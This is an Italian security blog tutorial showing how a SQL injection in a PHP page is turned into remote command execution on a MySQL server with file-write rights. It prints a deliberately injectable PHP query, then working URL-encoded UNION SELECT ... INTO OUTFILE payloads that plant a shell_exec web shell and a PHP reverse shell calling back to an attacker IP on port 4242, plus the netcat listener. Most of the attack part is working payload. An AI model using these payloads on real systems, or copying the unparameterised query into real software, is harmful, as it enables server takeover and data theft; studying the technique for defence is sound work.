Si può trasformare una SQL injection in una RCE? Si è possibile e vediamo come fare

Autore: Davide Cavallini

Oggi parleremo di un’interessante tecnica per trasformare una Sql Injection in una Remote Command Execution.Questa tecnica può essere  utilizzata anche per aprire una shell remota con il server che contiene la webapp vulnerabile.

Premetto che la tecnica funziona solo se l’utente del database ha il permesso di scrittura dei file, cosa che purtroppo spesso accade, perchè viene utilizzato l’account root. Un altro modo che può essere stato utilizzato per dare il permesso di scrivere i file all’utente è:

Avvio delle iscrizioni al corso Cyber Offensive Fundamentals Vuoi smettere di guardare tutorial e iniziare a capire davvero come funziona la sicurezza informatica? La base della sicurezza informatica, al di là di norme e tecnologie, ha sempre un unico obiettivo: fermare gli attacchi dei criminali informatici. Pertanto "Pensa come un attaccante, agisci come un difensore". Ti porteremo nel mondo dell'ethical hacking e del penetration test come nessuno ha mai fatto prima. Per informazioni potete accedere alla pagina del corso oppure contattarci tramite WhatsApp al numero 379 163 8765 oppure scrivendoci alla casella di posta [email protected]. Supporta Red Hot Cyber attraverso:  L'acquisto del fumetto sul Cybersecurity Awareness Ascoltando i nostri Podcast Seguendo RHC su WhatsApp Seguendo RHC su Telegram Scarica gratuitamente “Byte The Silence”, il fumetto sul Cyberbullismo di Red Hot Cyber Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì.

GRANT FILE ON *.* TO utente@’localhost’;

Partiamo da una webapp che all’interno contiene un parametro id non filtrato, che va ad eseguire una query. Esempio:

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = new mysqli("localhost", "root", "", "dvwa");

$result = $mysqli->query("SELECT * from users where user_id=".$_GET['id']);

$rows = $result->fetch_all(MYSQLI_ASSOC);

foreach ($rows as $row) {

printf("%s (%s)\n", $row["first_name"], $row["last_name"]);

}

In questo esempio, l’app legge l’utente con lo user_id che viene passato dal parametro id con il metodo HTTP GET. Questa operazione è chiaramente deleteria dal punto di vista della sicurezza del database, perchè può consentire all’hacker di accedere a tutta una serie disclosure di informazioni.

Un esempio tipico e alla portata di tutti potrebbe essere l’utilizzo di una IDOR per cambiare l’id e prendere le informazioni di tutti gli utenti con un ciclo.

ESEMPIO:

http://localhost/vulnerable.php?id=1

http://localhost/vulnerable.php?id=2

http://localhost/vulnerable.php?id=3

http://localhost/vulnerable.php?id=eccetera

Un altro esempio ancora più brutale potrebbe sfruttare un attacco del tipo SQL Injection per andare a modificare la struttura della query.

ESEMPIO:

//Se utilizzassi questo parametro

http://localhost/vulnerable.php?id=1 OR 1

La query verrebbe modificata strutturalmente diventando:

SELECT * from users where user_id=1 OR 1

Quindi andrei a pescare tutti gli utenti, in quanto potrei prendere o l’utente con user_id=1 oppure la condizione true. Questo fa si che chiaramenti il risultato di FALSE OR TRUE, o di TRUE OR TRUE, dia sempre come risultato TRUE, seguendo le logiche della matematica booleana.

Fino a qui gli esempi sono stati semplici, ma in realtà la Sql Injection nasconde delle potenzialità anche più pericolose. Ad esempio in caso di server misconfiguration, come dicevo precedentemente, potrebbe essere utilizzata per una remote command execution, ovvero una esecuzione remota di codice da parte di un malintenzionato.

Infatti non so se ci avete mai fatto caso, ma esiste un interessante funzione per exportare il dump della tabella su file CSV. Cercando in Google “Exporting Query Results from MySQL” vi verrà certamente fuori subito una pagina che vi dirà che è possibile esportare il dump in un file con una query simile a questa:

SELECT * FROM users INTO OUTFILE ‘/tmp/users.txt’;

Fino a qui sembrerebbe tutto nella norma, ma come ben saprà chi mastica il linguaggio SQL da tempo, potrei anche fare una select e mostrare un dato a mia scelta, come una stringa o un numero, eseguendo una query simile a questa:

SELECT ‘questa è la mia stringa’;

RISULTATO:

Fino a qui ancora sembra tutto innocuo.

Ma che cosa succederebbe se andassimo ad esportare un comando php in una cartella eseguibile da remoto, come /var/www/html?

ESEMPIO:

SELECT ‘<?php echo shell_exec(“pwd”)’ INTO OUTFILE ‘/var/www/html/pwd.php’;

RISULTATO:

Chiaramente anche il fatto che la cartella /var/www/html sia scrivibile, deriva da una misconfiguration riguardante i permessi di scrittura nella cartella, ovvero di chmod. 

Cosa che purtroppo però è spesso sottovalutata e consentita.

Ok, quindi a questo punto abbiamo capito che con questa query è possibile scrivere un file nella cartella /var/www/html

Vediamo come fare a scriverlo utilizzando la SQL Injection.

ANDIAMO A MODIFICARE L’URL COME SEGUE

http://localhost/vulnerable.php?id=1%20INTO%20OUTFILE%20%27/var/www/html/cmd2.php%27;

e vedremo che il file cmd2.php viene creato, e contiene la riga dell’utente 1

ora andiamo a scoprire quante colonne possiede questa tabella, con la tecnica dell’union select:

http://localhost/vulnerable.php?id=1 union select 1,2,3,4,5,6,7,8

chiaramente anche il risultato dell’UNION SELECT è esportabile in un file.

ORA AL POSTO DELLA COLONNA 2 INSERIAMO IL NOSTRO COMANDO “MALEVOLO”

http://localhost/vulnerable.php?id=1%20union%20select%201,%27%3C?php%20echo%20shell_exec(%22pwd%22);%20?%3E%27,3,4,5,6,7,8%20INTO%20OUTFILE%20%27/var/www/html/cmd4.php%27;

Ora andiamo subito a vedere il frutto del nostro esperimento

Vedete che oltre a delle inutili scritte, dentro al file cmd4.php c’è effettivamente del codice php che esegue il comando pwd.

Vediamo il risultato nel browser:

Accipicchia, il codice PHP è stato eseguito, quindi la RCE è riuscita!!!

Ora andiamo a raffinare la tecnica e apriamo un terminale sul server remoto.

Prendiamo da GitHub un qualsiasi codice per aprire una reverse shell in php su server linux e sostituiamo l’ip e porta con i nostri dati

<?php $sock=fsockopen(“192.168.227.166”,4242);exec(“/bin/sh -i <&3 >&3 2>&3”); ?>

Quindi l’url per iniettare il codice diventerà:

http://localhost/vulnerable.php?id=1%20union%20select%201,%27%3C?php%20$sock=fsockopen(%22192.168.227.166%22,4242);$proc=proc_open(%22/bin/sh%20-i%22,%20array(0=%3E$sock,%201=%3E$sock,%202=%3E$sock),$pipes);%20?%3E%27,3,4,5,6,7,8%20INTO%20OUTFILE%20%27/var/www/html/cmd11.php%27;

Ora apriamo un terminale client e con netcap apriamoci la porta 4242 in ascolto:

nc -v -n -l -p 4242

Ok, a questo punto apriamo la pagina cmd5.php nel browser e vediamo che cosa accadrà:

come potete vedere l’utente è www-data, quindi abbiamo preso il controllo remoto del server. Ora potremmo procedere alla privilege escalation.

Ti è piaciuto questo articolo? Ne stiamo discutendo nella nostra Community su LinkedIn, Facebook e Instagram. Seguici anche su Google News, per ricevere aggiornamenti quotidiani sulla sicurezza informatica o Scrivici se desideri segnalarci notizie, approfondimenti o contributi da pubblicare.

Davide Cavallini

Davide Cavallini è un esperto sviluppatore senior specializzato in Laravel e JavaScript, con una notevole esperienza come penetration tester. La sua carriera è caratterizzata da un impegno nell'insegnamento e nella condivisione della sua conoscenza, contribuendo alla formazione di nuovi professionisti nel campo dello sviluppo software e della sicurezza informatica. La sua passione per la tecnologia lo spinge a rimanere sempre aggiornato e a esplorare nuove frontiere dell'informatica.